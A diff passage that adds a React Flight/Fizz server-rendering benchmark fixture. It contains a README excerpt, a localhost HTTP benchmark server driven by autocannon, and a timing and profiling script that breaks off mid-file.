- **Flight + Fizz (Edge, sync/async)** -- full RSC pipeline: Flight server (`renderToReadableStream`) -> Flight client (`createFromReadableStream`) -> Fizz (`renderToReadableStream`)
|
||||
|
||||
The "sync" variants use a fully synchronous app (no Suspense boundaries). The "async" variants use per-row async components with staggered delays and individual Suspense boundaries (~250 boundaries per render).
|
||||
|
||||
### Script injection
|
||||
|
||||
The `yarn bench` and `yarn bench:server` scripts simulate what real frameworks do: tee the Flight stream and inject `<script>` hydration tags into the HTML output. This uses a `setTimeout(0)`-buffered Transform/TransformStream to avoid splitting mid-HTML-tag. `yarn bench:bare` skips this for cleaner React-internal measurement.
|
||||
|
||||
## Test app
|
||||
|
||||
A dashboard with ~25 components (16 client components), rendering:
|
||||
|
||||
- 200 product rows with nested reviews, specifications, and supplier data (~325KB Flight payload)
|
||||
- 50 activity feed items
|
||||
- Stats grid with 24-month chart data
|
||||
- Sidebar with navigation and recent activity
|
||||
|
||||
## Output
|
||||
|
||||
The overhead tables show two comparisons:
|
||||
|
||||
1. **Flight overhead** -- Flight+Fizz vs Fizz-only (how much RSC adds)
|
||||
2. **Edge vs Node** -- web streams vs Node streams (stream implementation cost)
|
||||
|
||||
Delta is shown as percentage change plus a factor (e.g. `+120% 2.20x` means 2.2x slower).
|
||||
350
fixtures/flight-ssr-bench/bench-server.js
Normal file
350
fixtures/flight-ssr-bench/bench-server.js
Normal file
@@ -0,0 +1,350 @@
|
||||
'use strict';
|
||||
|
||||
require('@babel/register')({
|
||||
presets: [['@babel/preset-react', {runtime: 'automatic'}]],
|
||||
plugins: ['@babel/plugin-transform-modules-commonjs'],
|
||||
only: [/\/src\//],
|
||||
});
|
||||
|
||||
const http = require('http');
|
||||
const {Readable} = require('stream');
|
||||
const webpack = require('webpack');
|
||||
|
||||
const {clientManifest, ssrManifest} = require('./webpack-mock');
|
||||
const {
|
||||
renderFizzNode,
|
||||
renderFizzEdge,
|
||||
renderFlightFizzNode,
|
||||
renderFlightFizzEdge,
|
||||
} = require('./render-helpers');
|
||||
const {printGrid} = require('./print-helpers');
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Build
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function build() {
|
||||
const config = require('./webpack.config');
|
||||
return new Promise(function (resolve, reject) {
|
||||
webpack(config, function (err, stats) {
|
||||
if (err) {
|
||||
reject(err);
|
||||
return;
|
||||
}
|
||||
if (stats.hasErrors()) {
|
||||
reject(new Error(stats.toString({errors: true})));
|
||||
return;
|
||||
}
|
||||
console.log(
|
||||
stats.toString({colors: true, modules: false, entrypoints: false})
|
||||
);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Server
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const ITEM_COUNT = 200;
|
||||
const PORT = 3001;
|
||||
|
||||
async function main() {
|
||||
console.log('Building RSC bundle...\n');
|
||||
await build();
|
||||
|
||||
const {
|
||||
renderRSCNode,
|
||||
renderRSCEdge,
|
||||
App: RSCApp,
|
||||
AppAsync: RSCAppAsync,
|
||||
} = require('./build/rsc-bundle.js');
|
||||
const App = require('./src/App.js').default;
|
||||
const AppAsync = require('./src/AppAsync.js').default;
|
||||
|
||||
function pipeStreamToRes(stream, res) {
|
||||
if (typeof stream.pipe === 'function') {
|
||||
// Node Readable stream
|
||||
stream.pipe(res);
|
||||
} else {
|
||||
// Web ReadableStream — convert to Node stream for HTTP response
|
||||
Readable.fromWeb(stream).pipe(res);
|
||||
}
|
||||
}
|
||||
|
||||
function pipeToRes(streamOrPromise, res) {
|
||||
if (typeof streamOrPromise.then === 'function') {
|
||||
streamOrPromise.then(
|
||||
function (stream) {
|
||||
pipeStreamToRes(stream, res);
|
||||
},
|
||||
function (err) {
|
||||
console.error(err);
|
||||
if (!res.headersSent) res.writeHead(500);
|
||||
res.end();
|
||||
}
|
||||
);
|
||||
} else {
|
||||
pipeStreamToRes(streamOrPromise, res);
|
||||
}
|
||||
}
|
||||
|
||||
const routes = {
|
||||
'/fizz-node-sync': function (res) {
|
||||
pipeToRes(renderFizzNode(App, ITEM_COUNT), res);
|
||||
},
|
||||
'/fizz-node-async': function (res) {
|
||||
pipeToRes(renderFizzNode(AppAsync, ITEM_COUNT), res);
|
||||
},
|
||||
'/fizz-edge-sync': function (res) {
|
||||
pipeToRes(renderFizzEdge(App, ITEM_COUNT), res);
|
||||
},
|
||||
'/fizz-edge-async': function (res) {
|
||||
pipeToRes(renderFizzEdge(AppAsync, ITEM_COUNT), res);
|
||||
},
|
||||
'/flight-node-sync': function (res) {
|
||||
pipeToRes(
|
||||
renderFlightFizzNode(
|
||||
renderRSCNode,
|
||||
RSCApp,
|
||||
ITEM_COUNT,
|
||||
clientManifest,
|
||||
ssrManifest
|
||||
),
|
||||
res
|
||||
);
|
||||
},
|
||||
'/flight-node-sync.rsc': function (res) {
|
||||
pipeStreamToRes(renderRSCNode(clientManifest, RSCApp, ITEM_COUNT), res);
|
||||
},
|
||||
'/flight-node-async': function (res) {
|
||||
pipeToRes(
|
||||
renderFlightFizzNode(
|
||||
renderRSCNode,
|
||||
RSCAppAsync,
|
||||
ITEM_COUNT,
|
||||
clientManifest,
|
||||
ssrManifest
|
||||
),
|
||||
res
|
||||
);
|
||||
},
|
||||
'/flight-node-async.rsc': function (res) {
|
||||
pipeStreamToRes(
|
||||
renderRSCNode(clientManifest, RSCAppAsync, ITEM_COUNT),
|
||||
res
|
||||
);
|
||||
},
|
||||
'/flight-edge-sync': function (res) {
|
||||
pipeToRes(
|
||||
renderFlightFizzEdge(
|
||||
renderRSCEdge,
|
||||
RSCApp,
|
||||
ITEM_COUNT,
|
||||
clientManifest,
|
||||
ssrManifest
|
||||
),
|
||||
res
|
||||
);
|
||||
},
|
||||
'/flight-edge-sync.rsc': function (res) {
|
||||
pipeStreamToRes(renderRSCEdge(clientManifest, RSCApp, ITEM_COUNT), res);
|
||||
},
|
||||
'/flight-edge-async': function (res) {
|
||||
pipeToRes(
|
||||
renderFlightFizzEdge(
|
||||
renderRSCEdge,
|
||||
RSCAppAsync,
|
||||
ITEM_COUNT,
|
||||
clientManifest,
|
||||
ssrManifest
|
||||
),
|
||||
res
|
||||
);
|
||||
},
|
||||
'/flight-edge-async.rsc': function (res) {
|
||||
pipeStreamToRes(
|
||||
renderRSCEdge(clientManifest, RSCAppAsync, ITEM_COUNT),
|
||||
res
|
||||
);
|
||||
},
|
||||
};
|
||||
|
||||
const server = http.createServer(function (req, res) {
|
||||
const handler = routes[req.url];
|
||||
if (!handler) {
|
||||
if (req.url === '/' || req.url === '') {
|
||||
res.writeHead(200, {'Content-Type': 'text/html'});
|
||||
res.end(
|
||||
'<html><body><h1>Flight SSR Bench</h1><ul>' +
|
||||
Object.keys(routes)
|
||||
.map(function (r) {
|
||||
return '<li><a href="' + r + '">' + r + '</a></li>';
|
||||
})
|
||||
.join('') +
|
||||
'</ul></body></html>'
|
||||
);
|
||||
return;
|
||||
}
|
||||
res.writeHead(404);
|
||||
res.end('Not found');
|
||||
return;
|
||||
}
|
||||
const contentType = req.url.endsWith('.rsc')
|
||||
? 'text/x-component'
|
||||
: 'text/html';
|
||||
res.writeHead(200, {'Content-Type': contentType});
|
||||
handler(res);
|
||||
});
|
||||
|
||||
await new Promise(function (resolve) {
|
||||
server.listen(PORT, resolve);
|
||||
});
|
||||
|
||||
console.log('\nServer listening on http://localhost:%d', PORT);
|
||||
console.log('Endpoints:');
|
||||
for (const route of Object.keys(routes)) {
|
||||
console.log(' http://localhost:%d%s', PORT, route);
|
||||
}
|
||||
|
||||
if (!process.argv.includes('--bench')) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Run autocannon against each endpoint.
|
||||
// Use a fixed request count (amount) instead of duration so that all
|
||||
// in-flight requests complete before autocannon closes connections.
|
||||
const autocannon = require('autocannon');
|
||||
const concurrencyLevels = [1, 10];
|
||||
const WARMUP_AMOUNT = 200;
|
||||
const BENCH_AMOUNT = 1000;
|
||||
|
||||
function runAutocannon(benchUrl, connections, amount) {
|
||||
return new Promise(function (resolve, reject) {
|
||||
const instance = autocannon({url: benchUrl, connections, amount});
|
||||
autocannon.track(instance, {
|
||||
renderProgressBar: false,
|
||||
renderResultsTable: false,
|
||||
});
|
||||
instance.on('done', resolve);
|
||||
instance.on('error', reject);
|
||||
});
|
||||
}
|
||||
|
||||
for (const c of concurrencyLevels) {
|
||||
console.log(
|
||||
'\n--- HTTP Benchmark (%d warmup, c=%d, %d requests) ---\n',
|
||||
WARMUP_AMOUNT,
|
||||
c,
|
||||
BENCH_AMOUNT
|
||||
);
|
||||
|
||||
const results = {};
|
||||
const benchRoutes = Object.keys(routes).filter(function (r) {
|
||||
return !r.endsWith('.rsc');
|
||||
});
|
||||
const labelWidth = Math.max(
|
||||
...benchRoutes.map(function (r) {
|
||||
return r.length - 1;
|
||||
})
|
||||
);
|
||||
|
||||
const header =
|
||||
''.padEnd(labelWidth) +
|
||||
' ' +
|
||||
'req/s'.padStart(14) +
|
||||
' ' +
|
||||
'p50'.padStart(8) +
|
||||
' ' +
|
||||
'p99'.padStart(8);
|
||||
console.log(' ' + header);
|
||||
console.log(' ' + '-'.repeat(header.length));
|
||||
|
||||
for (const route of benchRoutes) {
|
||||
const label = route.slice(1);
|
||||
const benchUrl = 'http://localhost:' + PORT + route;
|
||||
|
||||
// Warmup
|
||||
await runAutocannon(benchUrl, c, WARMUP_AMOUNT);
|
||||
|
||||
const data = await runAutocannon(benchUrl, c, BENCH_AMOUNT);
|
||||
const reqPerSec = (1000 / data.latency.mean) * data.connections;
|
||||
const latencyMedian = data.latency.p50;
|
||||
const latencyP99 = data.latency.p99;
|
||||
const errors = data.errors + data.timeouts;
|
||||
|
||||
results[label] = {reqPerSec, latencyMedian, latencyP99};
|
||||
|
||||
let line =
|
||||
' ' +
|
||||
label.padEnd(labelWidth) +
|
||||
' ' +
|
||||
String(reqPerSec.toFixed(1)).padStart(8) +
|
||||
' req/s' +
|
||||
' ' +
|
||||
String(latencyMedian).padStart(5) +
|
||||
' ms' +
|
||||
' ' +
|
||||
String(latencyP99).padStart(5) +
|
||||
' ms';
|
||||
if (errors > 0) {
|
||||
line += ' (' + errors + ' errors)';
|
||||
}
|
||||
console.log(line);
|
||||
}
|
||||
|
||||
const rps = function (r) {
|
||||
return r.reqPerSec;
|
||||
};
|
||||
|
||||
console.log('\n--- Flight overhead (c=%d) ---\n', c);
|
||||
printGrid(
|
||||
['Fizz', 'Flight+Fizz'],
|
||||
[
|
||||
['Node sync', results['fizz-node-sync'], results['flight-node-sync']],
|
||||
[
|
||||
'Node async',
|
||||
results['fizz-node-async'],
|
||||
results['flight-node-async'],
|
||||
],
|
||||
['Edge sync', results['fizz-edge-sync'], results['flight-edge-sync']],
|
||||
[
|
||||
'Edge async',
|
||||
results['fizz-edge-async'],
|
||||
results['flight-edge-async'],
|
||||
],
|
||||
],
|
||||
rps,
|
||||
'req/s'
|
||||
);
|
||||
|
||||
console.log('\n--- Edge vs Node (c=%d) ---\n', c);
|
||||
printGrid(
|
||||
['Node', 'Edge'],
|
||||
[
|
||||
['Fizz sync', results['fizz-node-sync'], results['fizz-edge-sync']],
|
||||
['Fizz async', results['fizz-node-async'], results['fizz-edge-async']],
|
||||
[
|
||||
'Flight+Fizz sync',
|
||||
results['flight-node-sync'],
|
||||
results['flight-edge-sync'],
|
||||
],
|
||||
[
|
||||
'Flight+Fizz async',
|
||||
results['flight-node-async'],
|
||||
results['flight-edge-async'],
|
||||
],
|
||||
],
|
||||
rps,
|
||||
'req/s'
|
||||
);
|
||||
}
|
||||
|
||||
server.close();
|
||||
}
|
||||
|
||||
main().catch(function (err) {
|
||||
console.error(err);
|
||||
process.exit(1);
|
||||
});
|
||||
726
fixtures/flight-ssr-bench/bench.js
Normal file
726
fixtures/flight-ssr-bench/bench.js
Normal file
@@ -0,0 +1,726 @@
|
||||
'use strict';
|
||||
|
||||
require('@babel/register')({
|
||||
presets: [['@babel/preset-react', {runtime: 'automatic'}]],
|
||||
plugins: ['@babel/plugin-transform-modules-commonjs'],
|
||||
only: [/\/src\//],
|
||||
});
|
||||
|
||||
const path = require('path');
|
||||
const fs = require('fs');
|
||||
const webpack = require('webpack');
|
||||
const inspector = require('node:inspector');
|
||||
|
||||
const {clientManifest, ssrManifest} = require('./webpack-mock');
|
||||
|
||||
const PROFILE_MODE = process.argv.includes('--profile');
|
||||
const CONCURRENT_MODE = process.argv.includes('--concurrent');
|
||||
const INJECT = !process.argv.includes('--no-injection');
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Build
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function build() {
|
||||
const config = require('./webpack.config');
|
||||
return new Promise(function (resolve, reject) {
|
||||
webpack(config, function (err, stats) {
|
||||
if (err) {
|
||||
reject(err);
|
||||
return;
|
||||
}
|
||||
if (stats.hasErrors()) {
|
||||
reject(new Error(stats.toString({errors: true})));
|
||||
return;
|
||||
}
|
||||
console.log(
|
||||
stats.toString({colors: true, modules: false, entrypoints: false})
|
||||
);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Render helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const {
|
||||
renderFizzNode: renderFizzNodeStream,
|
||||
renderFizzEdge: renderFizzEdgeStream,
|
||||
renderFlightFizzNode: renderFlightFizzNodeStream,
|
||||
renderFlightFizzEdge: renderFlightFizzEdgeStream,
|
||||
nodeStreamToString,
|
||||
webStreamToString,
|
||||
} = require('./render-helpers');
|
||||
const {printGrid} = require('./print-helpers');
|
||||
|
||||
function renderFizzNode(AppComponent, itemCount) {
|
||||
return nodeStreamToString(renderFizzNodeStream(AppComponent, itemCount));
|
||||
}
|
||||
|
||||
function renderFizzEdge(AppComponent, itemCount) {
|
||||
return renderFizzEdgeStream(AppComponent, itemCount).then(webStreamToString);
|
||||
}
|
||||
|
||||
function renderFlightFizzNode(renderRSCNode, AppComponent, itemCount) {
|
||||
return nodeStreamToString(
|
||||
renderFlightFizzNodeStream(
|
||||
renderRSCNode,
|
||||
AppComponent,
|
||||
itemCount,
|
||||
clientManifest,
|
||||
ssrManifest,
|
||||
{inject: INJECT}
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
function renderFlightFizzEdge(renderRSCEdge, AppComponent, itemCount) {
|
||||
return renderFlightFizzEdgeStream(
|
||||
renderRSCEdge,
|
||||
AppComponent,
|
||||
itemCount,
|
||||
clientManifest,
|
||||
ssrManifest,
|
||||
{inject: INJECT}
|
||||
).then(webStreamToString);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Benchmarking
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const canGC = typeof globalThis.gc === 'function';
|
||||
|
||||
async function runBenchmark(name, fn, iterations, warmup) {
|
||||
if (canGC) globalThis.gc();
|
||||
|
||||
// Warmup
|
||||
for (let i = 0; i < warmup; i++) {
|
||||
await fn();
|
||||
}
|
||||
|
||||
// Collect GC pauses during timed iterations.
|
||||
let gcCount = 0;
|
||||
let gcTotalMs = 0;
|
||||
const gcObs = new PerformanceObserver(list => {
|
||||
for (const entry of list.getEntries()) {
|
||||
gcCount++;
|
||||
gcTotalMs += entry.duration;
|
||||
}
|
||||
});
|
||||
gcObs.observe({entryTypes: ['gc']});
|
||||
|
||||
// Timed iterations
|
||||
const times = [];
|
||||
for (let i = 0; i < iterations; i++) {
|
||||
const start = performance.now();
|
||||
await fn();
|
||||
times.push(performance.now() - start);
|
||||
}
|
||||
gcObs.disconnect();
|
||||
|
||||
// Trim top/bottom 5% to remove outliers
|
||||
const sorted = [...times].sort((a, b) => a - b);
|
||||
const trimCount = Math.floor(sorted.length * 0.05);
|
||||
const trimmed = sorted.slice(trimCount, sorted.length - trimCount);
|
||||
|
||||
const mean = trimmed.reduce((s, t) => s + t, 0) / trimmed.length;
|
||||
const median = sorted[Math.floor(sorted.length / 2)];
|
||||
const stddev = Math.sqrt(
|
||||
trimmed.reduce((s, t) => s + (t - mean) ** 2, 0) / trimmed.length
|
||||
);
|
||||
const p95 = sorted[Math.floor(sorted.length * 0.95)];
|
||||
const min = sorted[0];
|
||||
const max = sorted[sorted.length - 1];
|
||||
|
||||
return {
|
||||
name,
|
||||
mean,
|
||||
median,
|
||||
stddev,
|
||||
p95,
|
||||
min,
|
||||
max,
|
||||
iterations,
|
||||
gcCount,
|
||||
gcTotalMs,
|
||||
};
|
||||
}
|
||||
|
||||
function printResult(result) {
|
||||
console.log(' %s:', result.name);
|
||||
console.log(' Mean: %s ms', result.mean.toFixed(2));
|
||||
console.log(' Median: %s ms', result.median.toFixed(2));
|
||||
console.log(' Stddev: %s ms', result.stddev.toFixed(2));
|
||||
console.log(' P95: %s ms', result.p95.toFixed(2));
|
||||
console.log(' Min: %s ms', result.min.toFixed(2));
|
||||
console.log(' Max: %s ms', result.max.toFixed(2));
|
||||
console.log(
|
||||
' GC: %d pauses, %s ms total (%s ms/iter)',
|
||||
result.gcCount,
|
||||
result.gcTotalMs.toFixed(1),
|
||||
(result.gcTotalMs / result.iterations).toFixed(2)
|
||||
);
|
||||
}
|
||||
|
||||
async function runConcurrent(name, fn, total, concurrency, warmup) {
|
||||
if (canGC) globalThis.gc();
|
||||
|
||||
for (let i = 0; i < warmup; i++) {
|
||||
await fn();
|
||||
}
|
||||
|
||||
let gcCount = 0;
|
||||
let gcTotalMs = 0;
|
||||
const gcObs = new PerformanceObserver(list => {
|
||||
for (const entry of list.getEntries()) {
|
||||
gcCount++;
|
||||
gcTotalMs += entry.duration;
|
||||
}
|
||||
});
|
||||
gcObs.observe({entryTypes: ['gc']});
|
||||
|
||||
const latencies = new Array(total);
|
||||
let completed = 0;
|
||||
let launched = 0;
|
||||
|
||||
const start = performance.now();
|
||||
await new Promise(resolve => {
|
||||
function launch() {
|
||||
while (launched < total && launched - completed < concurrency) {
|
||||
const idx = launched++;
|
||||
const t0 = performance.now();
|
||||
fn().then(() => {
|
||||
latencies[idx] = performance.now() - t0;
|
||||
completed++;
|
||||
if (completed === total) {
|
||||
resolve();
|
||||
} else {
|
||||
launch();
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
launch();
|
||||
});
|
||||
const elapsed = performance.now() - start;
|
||||
gcObs.disconnect();
|
||||
|
||||
const sorted = [...latencies].sort((a, b) => a - b);
|
||||
const mean = sorted.reduce((s, t) => s + t, 0) / sorted.length;
|
||||
const p95 = sorted[Math.floor(sorted.length * 0.95)];
|
||||
|
||||
return {
|
||||
name,
|
||||
reqPerSec: (total / elapsed) * 1000,
|
||||
mean,
|
||||
p95,
|
||||
total,
|
||||
concurrency,
|
||||
gcCount,
|
||||
gcTotalMs,
|
||||
};
|
||||
}
|
||||
|
||||
function printConcurrentResult(result) {
|
||||
console.log(' %s:', result.name);
|
||||
console.log(' Req/s: %s', result.reqPerSec.toFixed(1));
|
||||
console.log(' Mean: %s ms', result.mean.toFixed(2));
|
||||
console.log(' P95: %s ms', result.p95.toFixed(2));
|
||||
console.log(
|
||||
' GC: %d pauses, %s ms total (%s ms/req)',
|
||||
result.gcCount,
|
||||
result.gcTotalMs.toFixed(1),
|
||||
(result.gcTotalMs / result.total).toFixed(2)
|
||||
);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// CPU Profiling
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function startProfiler() {
|
||||
const session = new inspector.Session();
|
||||
session.connect();
|
||||
return new Promise(function (resolve, reject) {
|
||||
session.post('Profiler.enable', function (err) {
|
||||
if (err) {
|
||||
reject(err);
|
||||
return;
|
||||
}
|
||||
session.post('Profiler.start', function (err2) {
|
||||
if (err2) {
|
||||
reject(err2);
|
||||
return;
|
||||
}
|
||||
resolve(session);
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function stopProfiler(session, outputPath) {
|
||||
return new Promise(function (resolve, reject) {
|
||||
session.post('Profiler.stop', function (err, {profile}) {
|
||||
if (err) {
|
||||
reject(err);
|
||||
return;
|
||||
}
|
||||
fs.mkdirSync(path.dirname(outputPath), {recursive: true});
|
||||
fs.writeFileSync(outputPath, JSON.stringify(profile));
|
||||
session.post('Profiler.disable');
|
||||
session.disconnect();
|
||||
resolve(profile);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function printTopFunctions(profile, topN) {
|
||||
// Aggregate self-time per function from the profile nodes.
|
||||
const selfTimes = new Map();
|
||||
for (const node of profile.nodes) {
|
||||
const name = node.callFrame.functionName || '(anonymous)';
|
||||
const loc = node.callFrame.url
|
||||
? node.callFrame.url.replace(/.*\//, '') + ':' + node.callFrame.lineNumber
|
||||
: '(native)';
|
||||
const key = name + ' @ ' + loc;
|
||||
const hitCount = node.hitCount || 0;
|
||||
selfTimes.set(key, (selfTimes.get(key) || 0) + hitCount);
|
||||
}
|
||||
|
||||
const sorted = [...selfTimes.entries()]
|
||||
.sort((a, b) => b[1] - a[1])
|
||||
.slice(0, topN);
|
||||
|
||||
const totalSamples = profile.nodes.reduce((s, n) => s + (n.hitCount || 0), 0);
|
||||
|
||||
console.log(' Top %d functions by self-time:', topN);
|
||||
for (const [key, hits] of sorted) {
|
||||
const pct = ((hits / totalSamples) * 100).toFixed(1);
|
||||
console.log(' %s%% - %s', pct, key);
|
||||
}
|
||||
}
|
||||
|
||||
async function profileRun(name, fn, warmup, iterations, outputPath) {
|
||||
// Warmup (unprofiled)
|
||||
for (let i = 0; i < warmup; i++) {
|
||||
await fn();
|
||||
}
|
||||
|
||||
// Collect GC pauses during the profiled run.
|
||||
let gcCount = 0;
|
||||
let gcTotalMs = 0;
|
||||
const gcObs = new PerformanceObserver(list => {
|
||||
for (const entry of list.getEntries()) {
|
||||
gcCount++;
|
||||
gcTotalMs += entry.duration;
|
||||
}
|
||||
});
|
||||
gcObs.observe({entryTypes: ['gc']});
|
||||
|
||||
// Profiled run
|
||||
const session = await startProfiler();
|
||||
for (let i = 0; i < iterations; i++) {
|
||||
await fn();
|
||||
}
|
||||
const profile = await stopProfiler(session, outputPath);
|
||||
gcObs.disconnect();
|
||||
|
||||
console.log(' %s → %s', name, outputPath);
|
||||
printTopFunctions(profile, 10);
|
||||
console.log(
|
||||
' GC: %d pauses, %s ms total (%s ms/iter)',
|
||||
gcCount,
|
||||
gcTotalMs.toFixed(1),
|
||||
(gcTotalMs / iterations).toFixed(2)
|
||||
);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Main
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
async function main() {
|
||||
console.log('Building RSC bundle...\n');
|
||||
await build();
|
||||
|
||||
const {
|
||||
renderRSCNode,
|
||||
renderRSCEdge,
|
||||
App: RSCApp,
|
||||
AppAsync: RSCAppAsync,
|
||||
} = require('./build/rsc-bundle.js');
|
||||
const App = require('./src/App.js').default;
|
||||
const AppAsync = require('./src/AppAsync.js').default;
|
||||
|
||||
const ITEM_COUNT = 200;
|
||||
|
||||
const WARMUP = 50;
|
||||
const ITERATIONS = 1000;
|
||||
const PROFILE_WARMUP = 50;
|
||||
const PROFILE_ITERATIONS = 500;
|
||||
|
||||
// --- Verify renders ---
|
||||
console.log('\n--- Verifying renders ---\n');
|
||||
|
||||
const fizzNodeHtml = await renderFizzNode(App, ITEM_COUNT);
|
||||
console.log('Fizz (Node, sync): %d bytes', fizzNodeHtml.length);
|
||||
|
||||
const flightFizzNodeHtml = await renderFlightFizzNode(
|
||||
renderRSCNode,
|
||||
RSCApp,
|
||||
ITEM_COUNT
|
||||
);
|
||||
console.log(
|
||||
'Flight + Fizz (Node, sync): %d bytes',
|
||||
flightFizzNodeHtml.length
|
||||
);
|
||||
|
||||
const fizzNodeAsyncHtml = await renderFizzNode(AppAsync, ITEM_COUNT);
|
||||
console.log('Fizz (Node, async): %d bytes', fizzNodeAsyncHtml.length);
|
||||
|
||||
const flightFizzNodeAsyncHtml = await renderFlightFizzNode(
|
||||
renderRSCNode,
|
||||
RSCAppAsync,
|
||||
ITEM_COUNT
|
||||
);
|
||||
console.log(
|
||||
'Flight + Fizz (Node, async):%d bytes',
|
||||
flightFizzNodeAsyncHtml.length
|
||||
);
|
||||
|
||||
const fizzEdgeHtml = await renderFizzEdge(App, ITEM_COUNT);
|
||||
console.log('Fizz (Edge, sync): %d bytes', fizzEdgeHtml.length);
|
||||
|
||||
const fizzEdgeAsyncHtml = await renderFizzEdge(AppAsync, ITEM_COUNT);
|
||||
console.log('Fizz (Edge, async): %d bytes', fizzEdgeAsyncHtml.length);
|
||||
|
||||
const flightFizzEdgeHtml = await renderFlightFizzEdge(
|
||||
renderRSCEdge,
|
||||
RSCApp,
|
||||
ITEM_COUNT
|
||||
);
|
||||
console.log(
|
||||
'Flight + Fizz (Edge, sync): %d bytes',
|
||||
flightFizzEdgeHtml.length
|
||||
);
|
||||
|
||||
const flightFizzEdgeAsyncHtml = await renderFlightFizzEdge(
|
||||
renderRSCEdge,
|
||||
RSCAppAsync,
|
||||
ITEM_COUNT
|
||||
);
|
||||
console.log(
|
||||
'Flight + Fizz (Edge, async):%d bytes',
|
||||
flightFizzEdgeAsyncHtml.length
|
||||
);
|
||||
|
||||
// --- CPU Profiling ---
|
||||
if (PROFILE_MODE) {
|
||||
console.log(
|
||||
'\n--- CPU Profiling (%d warmup, %d iterations) ---\n',
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS
|
||||
);
|
||||
|
||||
const profileDir = path.resolve(__dirname, 'build/profiles');
|
||||
|
||||
await profileRun(
|
||||
'Fizz (Node, sync)',
|
||||
() => renderFizzNode(App, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'fizz-node-sync.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Flight + Fizz (Node, sync)',
|
||||
() => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'flight-fizz-node-sync.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Fizz (Node, async)',
|
||||
() => renderFizzNode(AppAsync, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'fizz-node-async.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Flight + Fizz (Node, async)',
|
||||
() => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'flight-fizz-node-async.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Fizz (Edge, sync)',
|
||||
() => renderFizzEdge(App, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'fizz-edge-sync.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Flight + Fizz (Edge, sync)',
|
||||
() => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'flight-fizz-edge-sync.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Fizz (Edge, async)',
|
||||
() => renderFizzEdge(AppAsync, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'fizz-edge-async.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Flight + Fizz (Edge, async)',
|
||||
() => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'flight-fizz-edge-async.cpuprofile')
|
||||
);
|
||||
|
||||
console.log(
|
||||
'\nProfiles saved to build/profiles/. Open in Chrome DevTools or speedscope.app.'
|
||||
);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// --- Concurrent Benchmark ---
|
||||
if (CONCURRENT_MODE) {
|
||||
const CONCURRENCY = 50;
|
||||
const TOTAL = 1000;
|
||||
const CONC_WARMUP = 20;
|
||||
|
||||
console.log(
|
||||
'\n--- Concurrent Benchmark (%d warmup, %d concurrency, %d requests, %d items) ---\n',
|
||||
CONC_WARMUP,
|
||||
CONCURRENCY,
|
||||
TOTAL,
|
||||
ITEM_COUNT
|
||||
);
|
||||
|
||||
const fizzNodeSync = await runConcurrent(
|
||||
'Fizz (Node, sync)',
|
||||
() => renderFizzNode(App, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(fizzNodeSync);
|
||||
|
||||
const flightFizzNodeSync = await runConcurrent(
|
||||
'Flight + Fizz (Node, sync)',
|
||||
() => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(flightFizzNodeSync);
|
||||
|
||||
const fizzNodeAsync = await runConcurrent(
|
||||
'Fizz (Node, async)',
|
||||
() => renderFizzNode(AppAsync, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(fizzNodeAsync);
|
||||
|
||||
const flightFizzNodeAsync = await runConcurrent(
|
